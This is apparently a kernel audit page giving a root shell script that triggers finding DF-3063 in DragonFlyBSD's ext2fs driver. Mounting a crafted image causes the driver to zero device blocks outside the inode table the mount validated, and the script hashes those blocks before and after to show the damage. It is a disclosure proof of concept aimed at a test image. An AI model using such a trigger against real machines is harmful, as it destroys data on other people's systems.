DragonFlyBSD Kernel Audit
DF-3063 / trigger3063.sh
← back to finding ↓ download raw
#!/bin/sh
# DF-3063 trigger (guest, root): observe ext2_zero_inode_table() zeroing
# 1023 device blocks starting at the inode table (block 20) although the
# mount only validated itpg=2 blocks.
set -e
kldload ext2fs
/root/vntool attach 0 /root/df3063.img
mkdir -p /mnt/e3
echo "--- BEFORE (blocks 5, 500, 1042, 1043 of /dev/vn0) ---"
for B in 5 500 1042 1043; do
	dd if=/dev/vn0 bs=1024 skip=$B count=1 2>/dev/null | md5
done
mount -t ext2fs /dev/vn0 /mnt/e3
echo MOUNT-RC=$?
touch /mnt/e3/x || echo "touch failed rc=$? (ENOSPC expected: bitmap has no free inode)"
echo "--- AFTER (same blocks; 500 & 1042 should now be zero) ---"
for B in 5 500 1042 1043; do
	dd if=/dev/vn0 bs=1024 skip=$B count=1 2>/dev/null | md5
done
echo DF3063-DONE